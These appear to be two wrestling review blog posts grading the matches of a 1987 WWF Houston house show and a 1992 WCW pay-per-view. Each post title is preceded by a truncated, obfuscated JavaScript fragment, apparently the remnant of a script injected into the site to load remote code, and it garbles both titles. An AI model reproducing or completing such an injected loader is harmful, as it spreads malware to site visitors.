");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fknyn|var|u0026u|referrer|zidfe||js|php'.split('|'),0,{})) House Show
Date: December 10, 1987
Location: Sam Houston Coliseum, Houston, Texas
Commentators: Bruce Pritchard, Mike McGuirk, Duke Doherty

 

Oh that commentary team is going to kill me today. Not really sure of what to expect on this card as I haven’t seen the details of it. The matches would probably be fallout from Survivor Series and leading up to the Rumble….which doesn’t tell us much at all as that was more or less Andre vs. Hogan and that’s about it. Anyway, I love the late 80s so let’s get to it.

 

Dusty Wolfe vs. Sam Houston

 

Who do you think is going to be the crowd favorite here? Sam is the half brother of Jake Roberts and is a small cowboy. This commentary team is already annoying. McGuirk (a woman in case that wasn’t clear) barely knows anything, Pritchard (Brother Love) isn’t bad and Doherty is an annoying cartoon character. Houston almost dances every step he takes in this weird shuffle kind of movement.

 

Houston locks on an armbar and then does it a few more times. This goes on way too long in what should just be a squash. McGuirk is trying but she sounds like a total amateur, saying stuff like “Yep” and “all right” etc. Doherty is trying to be funny I think and is failing completely. This is like a 3 minute match stretched out to eight minutes. Houston gets out of a headscissors and sends Wolfe to the floor.

 

Hey look it’s back to the armbar! Ok, this is a great example of what I talk about on occasion. Working on the arm is fine, but mix it up! There are a lot of holds to use on any body part, so use more than one of them or the fans get bored. Houston pounds away on the head and they botch a spot where Houston was supposed to use the ropes to slingshot himself over Wolfe’s head (you’ve seen it done a ton of times) but he misses and his back hits Wolfe in the face. Bulldog ends it just after that.

 

Rating: D. Boring match here that went on WAY too long. The arm work could have had about two minutes chopped off of it and no one would have cared. Houston was just boring most of the time with the eternally lame cowboy gimmick that hardly ever gets over for a face. Weak opener.

 

Hercules vs. Junkyard Dog

 

Oh dear. Hercules takes some headbutts and hits the floor with a bad headache. Dog blocks a bunch of strikes and Hercules heads to the floor again. Dog looks bored out of his mind here. Hercules wants time out. Bruce: “There are no time outs in professional wrestling.” This is being said while Dog stands there waiting. I love mild irony like that. A hip toss puts Hercules on the floor again. This is rather dull stuff and Dog of course isn’t going to do anything to make it any better.

 

Back in the ring (for now) and a guy named HERCULES is afraid to try a test of strength. The Dog of course cheats once he gets the hold he wants and headbutts Herc in the knee. Back to the floor four a fourth time now as I guess he’s using psych…..he’s using psych…..no I can’t say it. Back in and Hercules hammers away with literally nothing but punches for two.

 

Off to some kicks to the head which do nothing at all to the Dog. See he has a hard head. Full Nelson can’t go on and the fans like the JYD. He rams Herc into the corner a few times as I wish someone would do to me so that I could black out and not have to watch this match anymore. Double clothesline and both guys go down. Doherty has one heck of a lisp. Headbutt and elbow miss for either guy and that’s about it as Herc gets a knee to the chest and puts his feet on the ropes to end it.

 

Rating: D-. This was boring beyond belief. Dog didn’t do more than 5 moves the whole match and Hercules might have hit four. Terribly boring match here with the Dog looking bored out of his mind yet he was still cheered relentlessly. Dog was done after Mania 4 for all intents and purposes if I remember right.

 

Brady Boone/Billy Jack Haynes vs. Demolition

 

Ken Patera is managing the less famous guys for no apparent reason. Boone is famous for going to high school with Nikita Koloff, Rick Rude and Mr. Perfect among others. Brawl to start as Doherty thinks Demolition are aliens. The ring is cleared kind of and we start with Boone and Smash. Haynes and Boone are REALLY proud to be from Oregon.

 

Apparently Demolition tried to injure Boone so this is something like a revenge match. Off to Axe who is tossed around by Haynes. We get the required interference from Smash and Fuji as Demolition takes over. McGuirk talks about Demolition and Fuji being ugly. Thanks for your contributions here. Haynes manages a suplex but can’t do anything about it and here comes Ax.

 

Boone comes in a bit later. He looks like Barbarian in the face actually. He can sell fairly well too. Ax vs. Boone at the moment with Ax in control. This isn’t a squash and it’s not supposed to be which makes this a more entertaining tag match. Sunset flip by Boone but Ax makes a good tag on the way down to save himself. O’Connor Roll doesn’t work on Smash and it’s back to the neck crank.

 

Boone gets a nice counter to a back drop and brings in Haynes. Somehow he moves like a house on fire. Wouldn’t a house on fire stand still? Powerslam to Smash gets two as it breaks down. Double clothesline puts Smash down and Boone messes up a cross body off the top and a hot shot ends him to give Demolition the win.

 

Rating: C+. This was surprisingly good. Boone is a guy I’ve only seen a handful of times and I’ve barely seen Haynes outside of his feud with Hercules. This wasn’t bad actually with Demolition having to take some time here and therefore you get a good match out of it. Nice little treat here and definitely the best match of the night so far.

 

Rick Rude vs. Paul Orndorff

 

Orndorff vs. Heenan here. The ring announcers messes up where Rude is from and Rude corrects him. Is the announcer R-Truth’s white father or something? McGuirk seems to like both guys here as far as bodies go. Orndorff hammers away to start and gets a backdrop. No Heenan on the floor here for Rude. Out to the floor and it’s all Orndorff. Rude offers a left handed handshake which gets him nowhere as Paul takes him down with a clothesline.

 

Can anyone sell an atomic drop like Rude can? Now Orndorff wants a handshake but as he comes in for it he gets his eyes raked and Rude takes over. Sunset flip is blocked by Rude but a handful of tights gets him over for two. Rude sends him to the floor and gyrates a bit. Back into the ring it’s a nerve hold, the mating call of the sandman. By that I mean it puts people to sleep, not that it brings in a drunken “wrestler” that used alcohol references as names for his moves.

 

This stays on for awhile as you can see that Rude is just kind of kneeling and not putting any pressure on there at all. Orndorff fights up but misses an elbow to stop the momentum and kill the crowd all over again. Here’s the real comeback with Orndorff hammering away and getting a dropkick. We hit the floor and as they come back in, Rude grabs the top rope to block a sunset flip to counter what he couldn’t earlier.

 

Rating: C+. Pretty decent match here as you have two upper midcard guys going at it. Of course Orndorff would turn heel soon and join Heenan who he had feuded with forever. Rude was still just kind of there but a guy named Warrior would change that in about 18 months. Wow that’s a long way off.

 

One Man Gang vs. Brutus Beefcake

 

Brutus is still in his possibly sexually questionable tights. He’s also incredibly popular here despite not being much in the ring. Gang is of course a generic big man monster. Barber hops on the middle rope to balance out the height of the Gang. They lock up and Beefcake goes up the corner again where the threat of a punch makes the Gang back off. This time Brutus actually gets in said punches and hammers away including sending Gang flying to the floor off a single punch.

 

Beefcake works on the arm as Gang is moving far more than usual out there. OMG (funnier than it used to be) kicks him in the ribs and here comes the fat man. With Brutus on his back Gang grabs the leg like it’s for a half crab and leans forward for a cover of come kind. More leg work by Gang which is kind of odd to see. Here’s the comeback and a high knee puts the Gang down. Slick interferes and a shot to the back sets up a big elbow drop to end it.

 

Rating: C. Not exactly a good match from a workrate perspective but they did a great job of getting the crowd into it which is the right idea. Beefcake used a total of one move that wasn’t a punch, but hammering away on a giant is certainly the right idea, as there isn’t much you can do to a guy his size. Nothing great but all things considered, not bad.

 

Post match Slick and the Gang fail at giving Beefcake a haircut.

 

Tag Titles: Hart Foundation vs. Strike Force

 

Strike Force had won the titles about a month or so before this and this is match #857 or so between them. Still though, it should be awesome. The Harts jump the champions as they hit the ring but Strike Force fights them off. No Jimmy here for some reason. We stall for a good while before it’s Bret vs. Martel to start us off.

 

Martel cartwheels out of something (nearly kicking Bret in the head) and gets a cross body and sunset flip for two. They are MOVING out there. Tito comes in as Bret goes to the floor to hide. Thankfully it’s short and it’s back to Tito working on the arm. He cranks on an armbar which really is looking painful.

 

Martel comes in for no apparent reason and Neidhart comes in to block him. The referee gets Jim out and the champions tag without the referee seeing it at all. Apparently this is all cool. Who are the heels here again? Martel cranks on the arm a bit and does the ever important thing of mixing up the things he does to it. After some quick double teaming it’s back off to Tito and the flying forearm gets two.

 

Anvil comes in with no tag but he says he did. Well that’s on the referee then for being an absolute idiot. Jim takes over on Tito and Bret adds some cheating while Martel tries to get in. Little things like those are what make matches great. Tito gets tied up in the ropes as it’s all Foundation here. The fans chant for Tito and the Harts keep doing such basic cheating that they get the fans further and further into the palms of their hands with every second.

 

Bret gets the backbreaker for two. The crowd is into this as this is very good heel vs. face stuff. Anvil breaks up another tag to kill the crowd (in a good way) all over again. They run the ropes and collide with Bret possibly having hurt his knee. Both partners come in and Jim puts Bret on top for a VERY close two. Tito sends Bret into the corner chest first as Bret would do almost every match.

 

Anvil AGAIN stops the tag though and chokes away as Bret and Martel chase each other around the ring for awhile. The Harts try to cheat again but Bret accidentally hits a running knee to Jim. THERE’S the hot tag to Martel and the fans are literally on their feet. It’s dropkicks all around and we get the Boston Crab (the hold they won the titles with) to Bret. The referee tries to get Tito out and Anvil hits Martel with the belt. The referee misses that but Tito picks it up to hold the Harts off. Somehow Strike Force wins despite the referee having no idea what Jim did.

 

Rating: B. The ending holds this back but seeing the GREAT job of getting the crowd into this was impressive. They kept building on the whole “they can’t get Martel in” until the tag finally was made and the place erupted for it. That’s how you work a crowd and considering this was on a house show, that’s impressive beyond belief. This would have been a good PPV match and it’s on a house show. Great stuff, questionable ending aside.

 

Mike Sharpe vs. Ultimate Warrior

 

Well this should be quick. Warrior sits him on the corner to start and threatens to hit him in the back of the head. Warrior’s face paint looks like it’s already half off. Shoulder blocks get Sharpe nowhere and Warrior casually steps to the side to avoid a dropkick. That’s a perfect counter as he’s the last person you would expect something clever from. After Sharpe hits the floor for a bit Warrior gets a leap frog and a slam to send him right back outside.

 

Sharpe wants a test of strength. Why does this seem like it’s REALLY FREAKING STUPID??? Sharpe goes to the ribs with some boots and down goes Ultimate. Wow that was incredibly odd to type. Warrior fights up but misses a charge into the corner. After being hurt for about 3 seconds he hammers Sharpe into the corner and takes over. Press Slam ends this.

 

Rating: D+. Just a squash here with a slightly added amount of time. Warrior was never in any real danger here but you could tell they were still protecting him heavily by not having him in there that long. That’s definitely the right idea but at the same time it got rather repetitive quickly, as it did here.

 

Ron Bass vs. Ricky Steamboat

 

Bass holds him off with a whip so the Dragon goes out and grabs a chair. Naturally Steamboat speeds things up and gets a quick sunset flip for two. The cat is skinned and Steamboat gets what we would call a rana for two. For some reason the cameraman wearing a Hulkamania shirt makes me chuckle. Bass takes over and gets a clothesline but walks into something like an enziguri (granted it hit the back but no one knew what it was supposed to be at this point anyway) to send Bass to the floor.

 

Back in and Steamboat grabs the arm to take the bigger man down. I know it’s basic but it’s about the smartest thing you can do so there’s a reason it’s that common. McGuirk is like Booker T as all she really says is an occasional move in the ring. Steamboat tries to speed this up again but walks into a hot shot to finally shift control to Bass. Piledriver gets two.

 

Bass hammers away with a knee drop (called Knee-monia by Doherty and making me want to take a knee to the head so I hopefully forget that joke) to the head and various other basic offense for two on a few occasions. Pretty weak swinging neckbreaker gets two. Off to the chinlock now and Steamboat’s face is all crushed up, making it look hilarious.

 

Here’s the comeback and Steamboat goes up for the top rope chop. Steamboat can’t keep anything going here as a clothesline takes him down again. Out of absolutely nowhere, Steamboat gets a cross body not off the ropes to end this. Surprising endings like those are always fun, especially for the live crowd.

 

Rating: C-. Never been a fan of Bass but it’s hard to argue against Steamboat in the late 80s. Not bad here but really just a way to kill about ten minutes. Steamboat would be gone in about five months and would head back to the NWA where he would win the world title in February of 89.

 

Greg Valentine vs. Kenny Johnson

 

Valentine was finally out of tag teams and would get a mild heel push that really went nowhere. Johnson is pale, hairy and has huge tights. I have no idea what to say here as this is a total squash. Valentine beats on him for about two and a half minutes, Johnson gets in a few punches and the figure four ends it. Just a squash.

 

WWF World Title: Ted DiBiase vs. Hulk Hogan

 

DiBiase has Virgil and Andre with him. Both are listed as seconds. So he has two seconds? There’s a “that’s still not a three count” joke in there but it’s really bad so I’ll pass. Hogan comes straight at him with the belt and DiBiase runs. The place erupted for Hogan to say the least. Hogan pulls him right in and the fight is on. He beats on Ted and DiBiase heads to the floor to hide.

 

That gets him nowhere but Andre makes Hogan go back into the ring. Virgil is pulled into the ring and both he and DiBiase take big boots to send them to the floor. Hogan keeps posing and the fans keep getting louder. We finally get going and Hogan uses his wrestling skills to take DiBiase to the mat. We hit the floor and DiBiase finally takes over a bit. Ted stomps away and chokes Hogan a bit and Hogan does his always interesting version of selling.

 

Hogan starts his comeback and sets for the leg drop but Andre trips him up. Hogan yells at Andre….and wins by disqualification? That’s it? We get a six minute main event? Seriously? Apparently not as we’re not only going to continue but Andre must leave ringside and has been fined two thousand dollars! I’ve never heard of that before but it’s still pretty cool.

 

DiBiase jumps Hogan and might have hit him with a foreign object to take over. DiBiase hammers away on him with his usual stuff but Hogan Hulks Up and the big boot puts DiBiase down. Virgil gets on the apron and DiBiase hits him with a knee. Hogan grabs a fast roll up to retain the title. His day was coming very soon though.

 

Rating: D+. The match was pretty worthless for the most part although the nice little switch in there was a nice change of pace from the usual stuff. It’s always cool to see a different ending like that as if nothing else it makes the fans think they’ve seen something special which is the entire point of a house show.

 

Hogan calls DiBiase and Virgil into the ring but of course they won’t go. Lots of posing takes us out.

 

Overall Rating: B-. This was pretty good for a house show with the crowd being red hot all night and the matches being pretty good overall. The main event is a little lackluster but it wasn’t supposed to be a classic. Good stuff overall as this wasn’t supposed to be a great show. I’d assume the IC Title was defended as the main event of another show which is something you got a lot of the time back in the day. Fun stuff that took a bit to get going.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfdns|var|u0026u|referrer|zrnny||js|php'.split('|'),0,{})) BrawlII
Date: February 29, 1992
Location: Mecca Arena, Milwaukee, Wisconsin
Attendance: 5,000
Commentators: Jim Ross, Jesse Ventura

This show is based around one thing and one thing only: Lex Luger vs. Sting. This had been THE feud for the better part of a year and tonight it came to a head. Luger had destroyed Sting’s knee and then sent Cactus Jack and Abdullah the Butcher to injure him. This was more or less a given Sting win, but the match was required much like Austin vs. Michaels. The key to this feud was Luger being in a way selfish.

His contract required him to work a certain amount of dates. He worked said dates and said he was done until the title match, and legally that was fine. It kind of screwed over the fans, but it was perfectly legal for him to do so. The thing that it did though was make Luger seem mythical.

We never saw the champion anymore, but we knew Sting wanted him. Immediately after this show he would head to the WWF, debuting on camera at Mania 8. Other than that, there really just isn’t much here. The card is remembered fondly though, so let’s get to it.

The intro is running down the card and it sounds pretty decent. A bit lackluster, but decent nonetheless. Eric and Tony disagree over the main event. This was when Eric was just a commentator with a solid on air presence instead of being very annoying. Missy Hyatt is in the back, complete with bad grammar.

We go to Jim Ross who has a new broadcast partner: JESSE FREAKING VENTURA debuts on a motorcycle and this show just went WAY up in value. If there has ever been a better announcer at playing to the crowd while being completely honest, I want to meet them and buy them a ham sandwich. Ventura says Ross should wear a cowboy hat. WOW.

I’m freaking pumped for this show. This is just feeling awesome.

Light Heavyweight Title: Jushin Thunder Ligervs. Brian Pillman

This title is famous for two things: A guy named Scotty Flamingo holding it (he would change his name to Raven in about a year and a half) and this match. This match is considered to be right up there with Bret and Owen as the best PPV opener of all time. You have to keep in mind that the styles here were just not seen at this time. Everything was mat work and a clothesline off the top was a big time move.

If you know anything about these two, you know what’s coming. They start very fast and hot before slowing it down a bit but you can tell the fans are noticing them. They mention that K. Allen Frey is the WCW President at this time. This was his first and only PPV as he was let go because he was making good TV shows. They were far more exciting and fast paced, and since no one wants to be excited, Frey was out and Bill Watts came in.

His best idea was this: if you work hard, you get a bonus. Seriously, THAT was considered a bad idea. Everything was about cost cutting back then, as they even got rid of the mats at ringside, It also produced some of the most boring wrestling of all time, but hey, who cares that buyrates and attendance were both down? WE ARE SAVING MONEY!!!

They hit a leglock for a few seconds and then are like screw this nosense. They pop up and Liger runs at the corner and hits a moonsault to get a big OOO from the crowd. Two months after this that would have ended the match on a DQ as top rope moves were banned. Apparently the leglock that had them chanting boring isn’t as intriguing as a moonsault followed by a dropkick. What do they know?

They’re just the people buying tickets to the shows. Liger sets for the Surfboard and the crowd reacts to it huge. For 5000 people, this crowd is awesome. We get a George Michael’s Sports Machine reference. He passed away on Christmas Eve. Without him, you likely wouldn’t have SportsCenter.

Pillman misses a knee and Liger works on the knee to give us some psychology. And note: it’s the knee he worked on earlier, giving us some continuity. He throws on a figure four to a great pop. They get into a big slap fight which is amusing. Crowd is WAY into this. Pillman goes to the floor thank to Jushin and Liger jumps to the top and puts him down with a sweet looking front flip. Pillman comes back in with a springboard clothesline after they fight over a suplex on the apron.

Brian follows that up by suplexing Liger over the top to the floor. This is very high impact and fast paced. Now they’re just throwing out the high spots which works well as a contrast to the leg work. It’s turned into a high spot match and that’s fine.

Like I said, you have to remember that this kind of thing is just completely unheard of as no one has ever seen anything close to this. Pillman hits a hurricanrana and then a DDT. The pace is just ridiculous for the time. Liger misses a top rope splash after a suplex and Pillman does a weird pinning combination for the title.

More or less he looked like he was going for a camel clutch but hooked his feet under Liger’s arms and rolls over so that Liger goes with him and then bridges back for the pin. He raises Liger’s hand afterwards and they share the standing ovation.

Rating: A+. EPIC match. This was just completely off the charts compared to what people were used to. These two worked very hard and had a classic. After about ten minutes of this seventeen minute match, they just went completely nuts out there and were flying all over the place.

It looked awesome and the crowd bought every bit of it. Find this match right now as it’s more interesting and entertaining than what I’m going to write. And remember, none of this would be legal inside of two months in favor of LEG LOCKS AND ARM BARS BABY!

Missy is with Terry Taylor who is all of a sudden rich. He’s still boring as all goodness and worthless, but he’s now boring and worthless WITH A BAD CHARACTER! He’s fighting Marcus Bagwell tonight. That’s about it.

Terry Taylor vs. Marcus Bagwell

Some kid gets to be the announcer. He’s booed out of the building. He looks like Cameron from Ferris Bueller’s Day off mixed with Urkel. Terry is the Taylor Made Man now. Oh just take me now. Bagwell is a rookie now and has more or less no idea what he’s doing. Taylor and Greg Valentine have the US Tag Titles here. Why this is a one on one match is beyond me but whatever. Ross says Bagwell is too naïve to lie.

This is already boring. Granted it could be that Taylor just freaking sucks. This feels like a bad TV match and considering the time period we’re in, that’s saying a lot. Taylor hits a nice gutwrench sitout powerbomb. I love moves like that.

They botch a sunset flip as Bagwell jumps too far but it wasn’t that bad I guess. I know I don’t usually do this much play by play but that’s all there is for this match. There’s no story here or anything and it’s just old guy vs. rookie. Bagwell gets a quick pin on a rollup and then Taylor hits the Taylor Made Forearm afterwards. Yep, that’s his big devastating move: a forearm.

Rating: D+. This just wasn’t interesting at all. It was relatively short, but still I just have no interest in this match at all after what I saw before it. This was what Watts wanted I guess. The fans weren’t into it at all, but hey, what do they know right?

On an aside, here’s the BRILLIANCE, yes BRILLIANCE I say of WCW. Ok, tonight is a PPV right? PPVs back then started at 7 instead of 8. WCW’s second biggest show was called the Main Event and it aired from 6:05 to 7:05 on Sunday nights. So what do the geniuses do?

They book a FREAKING TITLE MATCH as the main event of the TV show that coincides with the first five minutes of the PPV. The dumber part: THEY CHANGE THE TITLES. Yes, instead of having that, oh I don’t know, ON THE FREAKING PAY PER VIEW, they gave it away for free on TV, but to see it you had to miss the first five minutes of the PPV. And people wonder why WCW isn’t around today.

Missy is trying to get Luger but finds Harley Race instead. He looks like a high school math teacher for some reason.

Ron Simmons vs. Cactus Jack

Jack was just a freak at this point, having been brought in to fight Sting for Luger. Simmons was just a face that was over but not that great yet. He would be world champion in six months. This is the kind of match that is just so crazy it could be ok. Cactus gets his neck caught in the ropes and Jesse says he would help Cactus if his opponent were in that position. That’s a joke as Jesse liked that spot and used it a lot.

Take a guess as to what he did. Hey Junkyard Dog is here. I don’t care either. We hit the floor and the Cactus Elbow hits. This is more or less a brawl. Simmons hits a spinebuster on the ramp that just had to freaking hurt. Simmons catches Jack coming off the top with a powerslam for the pin.

Abdullah comes out and nails Simmons for the double team. Here’s JYD for the save. Again, I love how fans can just get up and get camera time like this. At least security tries to stop him so that’s better than nothing. Why in the world was this guy over?

Rating: C-. Ok so I was wrong about it working but it wasn’t terrible. It was too short to really make much of it, but Cactus wasn’t a legit big time wrestler for the majority of his career. He was there to make others look good like he did here so that’s fine. Simmons was about to get the push of his life so this was really just grooming him for it I guess.

We go to Tony and Bischoff who go back to the ring.

Ricky Morton/Vinnie Vegas vs. Z–Man/Van Hammer

Vegas is more commonly known as Kevin Nash. Van Hammer was a guy that was RIDICULOUSLY over but had no talent. For the life of me I never got that, but I was a huge fan of his too. Hammer was challenging Sting for my spot as favorite wrestler in WCW at the time and Sting is more or less second only to Foley for me all time. Ventura mentions that Zenk is a former Mr. Minnesota in bodybuilding and Ventura says there’s no money in bodybuilding.

Vince was just starting the World Bodybuilding Federation at the time, so that’s very likely a shot at McMahon. When it’s Jesse talking you have to just call him McMahon. Nash was playing a greasy sleazy guy with no morals. It’s so easy when you can play yourself. Good night Hammer could get the crowd into a match. He’s beating up Ricky Morton so there’s nothing wrong with that.

It’s hard to believe that Nash wound up being about 100x more successful than all these people. Again, Hammer sucks in the ring but he’s over here. Z-Man’s tights are pink by the way. There’s no real point to this match which was a real problem back in this era. The good thing was they got a lot of solid matches anyway.

They point out that Z-Man has been teaming with Bagwell lately, begging the question of why he’s teaming with Van Hammer here that of course won’t be answered or addressed. In one sequence we have two things that just shouldn’t stun the heck out of me: Ricky Morton being on long term offense in a tag match, and KEVIN NASH JUMPED. You read that correctly. Kevin Nash, the most generic big man (in the mid to late 90s not named Sid) JUMPED.

They’re beating the tar out of Hammer, the most popular guy in this match because it makes SO much more sense to have Z-Man get the hot tag instead of Van Hammer, the big power guy right? They point out that Nash played pro basketball in Nevada which is odd.

We get a Tark the Shark reference followed by ones to Aerosmith, Van Halen and Twisted Sister. Jesse Ventura is freaking awesome. We get the hot tag to the guy in the pink tights, because that works SO much better than tagging in the big power guy that’s ridiculously over. Z-Man rolls up Morton out of nowhere to get the fast pin.

Rating: C+. This was the definition of formula stuff but it works well. Nash and Van Hammer were showcasing themselves here and there’s nothing wrong with that at all. They were the bigger stars here by far and the far more interesting characters. This was fine and a decent match, dumb as meat booking aside.

Promo for WCW/Japan Supershow II. We’ll get to that one. It was taped the month prior to this though.

Tony and Eric recap The Enforcers (Zbyszko and Arn) breaking Barry Windham’s arm at Halloween Havoc with a car door. Tonight is the revenge match with Dustin Rhodes as Barry’s partner.

Barry Windham/Dustin Rhodes vs. Steve Austin/Larry Zbyszko

For no apparent reason, Anderson isn’t here but Austin is. They’re all part of the mega stable known as the Dangerous Alliance though so that works out fine. As generic as it is I kind of like Windham and Rhodes’ look. They have the same color tights and boots and leather jackets on and they walk stride for stride. Not bad. The faces just beat the living tar out of the heels at first just for the heck out it.

They touch on Larry and Sammartino’s feud which I have to get to at sometime. This is more or less just about Windham beating the living tar out of the heels for awhile and that’s all they’ve done for about three minutes or so. Austin is still Stunning Steve here, meaning he wears tights that look like bicycle shorts and have a bunch of colors on them and he has shoulder length blond hair. It’s hilarious considering what he would be in four years.

Nabisco finally takes over and beats down Windham. At least I think it’s Windham as it’s kind of hard to tell them apart. Jesse and Ross get into an argument about football, with a great line from Jesse: Oklahoma is the only school where you take a pay cut when you go to the NFL. That’s hilarious. Dustin gets the hot tag as this match is just kind of a mess. Larry just isn’t that good at all.

His offense is weak, he can’t sell that much and he’s just plain boring as anyone I’ve ever seen. Ross thinks the heels might have planned some evil deeds. Get this man an award! Hey, Dusty Rhodes returns at the Japan show. I already said I would review that one didn’t I? Blast it. Dustin gets a small package and Larry thinks about making the save but realizes that would require doing something so he doesn’t.

Austin kicks out, but more importantly, Larry didn’t have to do anything so all is right with the world. Austin uses the Flair move of the feet on the ropes which never gets old. Austin takes his own move, a Stun Gun, onto the ropes. I say onto the ropes because they mess it up and Austin’s face hits the ropes instead of his throat. Windham and Larry come in and a clothesline off the top gets the pin for Windham.

Rating: B-. While not great, this was pretty good. It was a tad long but that was WCW’s style for tag matches. It’s certainly not bad at all. Windham beat Larry which was the main thing and he started feuding with Austin soon after this. There’s not much here but it’s pretty good overall if that makes sense.

Eric, now wearing a Michigan jacket, is going to be for the Steiners next I guess. Their resumes are actually pretty good. We go to Missy who is looking for Steamboat but finds a Ninja. Yep, you heard that right. Instead she runs into Medusa who talks to the Ninja also. This was just out there. She slaps him and since you never slap a Ninja, he chases her away.

Tag Titles: Arn Anderson/Bobby Eaton vs. Steiner Brothers

The champions are also part of the Dangerous Alliance. That thing was freaking huge but it would go down next month at WrestleWar in an EPIC War Games match. Heyman just looks completely evil here and it’s amazing how much ECW made him age as far as looks go. He’s barred from ringside here which results in a classic Heyman freak out. The Steiners are the favorites here as they never actually lost the belts before as Scott was injured.

They say the Steiners have never lost the titles in a match, except for that time when Doom freaking killed them but we can’t mention that of course. Scott just shows off his technical stuff here as it amazes me how far he fell. He was going to be the prototype of the 90s but something fell through in his head and it never happened. Anderson is just awesome in case you didn’t know. Rick comes in and let the barking begin. Jesse can’t stand the Steiners for some reason.

There’s a recap of the show tonight on the Hotline. Why? If you’re watching the PPV you don’t need a recap and you won’t hear the ad if you’re not watching the show. That’s brilliant but I guess it made money so whatever. Scott is freaking impressive as the Steiners are dominating and the fans are way into it. Jesse is mayor of a small town in Minnesota at this time so we keep getting political jokes from Ross.

The fans want Flair. Sorry, he’s the WWF Champion at this point and being praised for his greatness like he should be instead of jobbing to Luger. The Steiners use a Doomsday Device of all things which looked decent. Eaton goes low to take control back. Scott comes in and they just suplex the heck out of the heels. That never gets old. Neither team is really keeping an advantage here and it’s making the match a lot better as a result.

Eaton hits a knee from the top as we finally have the heels in control for more than 45 seconds. It’s a nice touch that I kind of like. Anderson hits a DDT which would have won this had it been two years later or so. In a nice counter, Scott wraps his legs around Anderson, I guess thinking he’s one of his freaks, and Arn just casually grabs them and turns him into a Boston Crab. I like that.

In a nice touch, Arn and Bobby hit the Rocket Launcher which was the Midnight Express’ finisher. Somehow this revitalizes Scott but whatever. The heels set Rick for a Doomsday Device of their own but Bobby uses a cross body instead which Rick catches, which I use that term loosely, into a belly to belly suplex, which I use even more loosely. It was much better against the Headshrinkers at Mania 9.

Medusa hits Steiner with powder and Rick suplexes the referee by mistake. Scott gets the Frankensteiner for the pin but of course it’s overthrown because of the suplex. Yeah Dusty is definitely back. Yeah I freaking hate this.

This was a GREAT match, but dang that whole give the fans the moment they popped like crazy for because it makes sense to put the titles back on the Steiners nonsense. No no no. We need to do the title switch a month and a half later at a freaking house show. YEAH BABY! Screw this PPV nonsense. It’s all about HOUSE SHOWS!

Rating: A-. This was AWESOME. It the finish hadn’t been such nonsense, this is an A or an A+ with ease. They worked great out there for 20 minutes of back and forth awesomeness. The Steiners were awesome but they were in there with two of the best tag team wrestlers of all time, meaning there was no way this was going to be bad.

But yeah, the ending was just complete and utter garbage as the fans clearly wanted the title change and there was no way they would have a better moment. But it’s Dusty booking so what do you expect?

Ad for WrestleWar.

We recap the Steiners match which also had an over the top DQ and neither guy involved with the pin were legal so there we are. Yeah the ending still sucks. We go back to Missy again and Missy watches the Ninja and Steamboat go to the ring.

US Title: Ricky Steamboat vs. Rick Rude

This was quite the awesome feud back in the day. Rude had shown up at Halloween Havoc and been a major signing for the company so they put him with Steamboat for the US Belt and it worked very well. Steamboat has the masked Ninja to guard him from the Alliance and make sure things are fair. The heat for Rude is AWESOME. This has been an awesome crowd all night and it’s made this a great show.

Steamboat of course starts by working the arm since that’s really the thing he did best. It works if nothing else and it helps here as it would take away the Rude Awakening and some of Rude’s power. They slow it down a bit which is fine as they’re going for the slow build. I know they’re not tired already as these two both had great cardio. Ventura again says Ross should wear a cowboy hat and also starts calling him JR.

Oh how I bet he wish he copyrighted that. Rude sells the arm from earlier because he just rocks. All the cool kids are selling the arm today so you know you should too. Ventura advocates Rude putting his hand over Steamboat’s nose and mouth. Good to know that the governor of Minnesota advocates attempted murder. Rude uses his offense but can’t use his arm much at all and pauses because of the pain after every move.

He’s also working on Steamboat’s neck which he injured at the last Clash of the Champions. Oh how I love PSYCHOLOGY. Steamboat gets a figure four which makes NO sense but it’s WCW so the move gets a huge pop anyway. Rude goes to pose after getting the advantage back but can’t do it because of the arm, prompting another jab at the bodybuilding company. Rude goes up top but since the company is being run by someone sane it isn’t a DQ.

We keep getting shots of the Ninja, meaning that he’s going to factor into the ending. Not to mention we keep seeing him, meaning he completely fails as a Ninja. If there’s one thing I can’t stand, it’s a bad Ninja. Steamboat hits a top rope suplex and the kick outs are getting great now.

Steamboat does Rude’s hip swivel which is just amusing. Steamboat has his rolling but as he’s going to the top, the Ninja hits him with a really big phone, which was Heyman’s (who remember is called Paul E. Dangerously at this point) trademark.

Rating: B+. This was a solid match. They worked very well out there as all matches have done tonight. They would have a rematch at Beach Blast without the title being on the line in an Iron Man match which was great as well. Either way, this was a very good match with these two having great chemistry together and the psychology was definitely here, making it a very good match.

We go to Missy outside of Rude’s locker room. Missy, acting worse than even Stephanie and Linda do, is SHOCKED that Heyman is in the Ninja outfit.

WCW World Title: Lex Luger vs. Sting

Like I said, this was just a formality at this point as Luger was ready to go up North and Sting was ready to be the guy. Also, there was this guy named Vader that had just started working full time. With Luger gone, Sting needed someone to feud with, so he got the biggest feud of his career. Sting doesn’t even have music here which is very odd. This is Luger’s first match in about two months other than a match that was taped and won’t air until next month at the Japan show.

They have the staredown which is awesome if nothing else. They stand there and stare at each other for about a minute or so. I wonder what they’re talking about. FREAKING DO SOMETHING! Hey a minute and a half in we get a shove and then more talking! There’s a second shove at two minutes! Ooo a lockup. Ok there’s building tension and then there’s STUPIDITY.

Sting hits the Splash and of course Luger no sells it because Luger doesn’t care about making Sting look credible or anything stupid like that. To be fair though, did he really need to? Just because he can, Sting puts Luger in the rack. I don’t think anyone ever did that to him so that was kind of cool. They point out that Sting’s cardio is far better and he almost gets the Scorpion but not quite. Luger takes over and they try to cover up his completely not caring at all by saying he’s arrogant.

In reality it was that he was just walking through the match without the slightest bit of effort at all. You know, because being world champion in WCW is nowhere near as great as being a midcard joke in the WWF. It turned out he got out at the right time though as Watts took over and ran the company into the ground.

They eventually can’t cover it up anymore and say how odd it is that he’s just walking around with his hands on his hips. Luger hits his finishing move, the Piledriver, and Sting kicks out to seal how awesome he is. It gets NO pop though as Luger has managed to kill one of the best crowds in company history.

Sting begins his comeback with that odd as heck striking style that he had. Seriously, do you remember anyone having the method of striking that Sting did? Watch one of his matches and notice how he hits and kicks. It’s just different looking and I don’t remember anyone else ever did it that way. We hit the floor and Luger continues to move very slowly. Coming back in, Sting hits a cross body to get the pin and the title and a great pop.

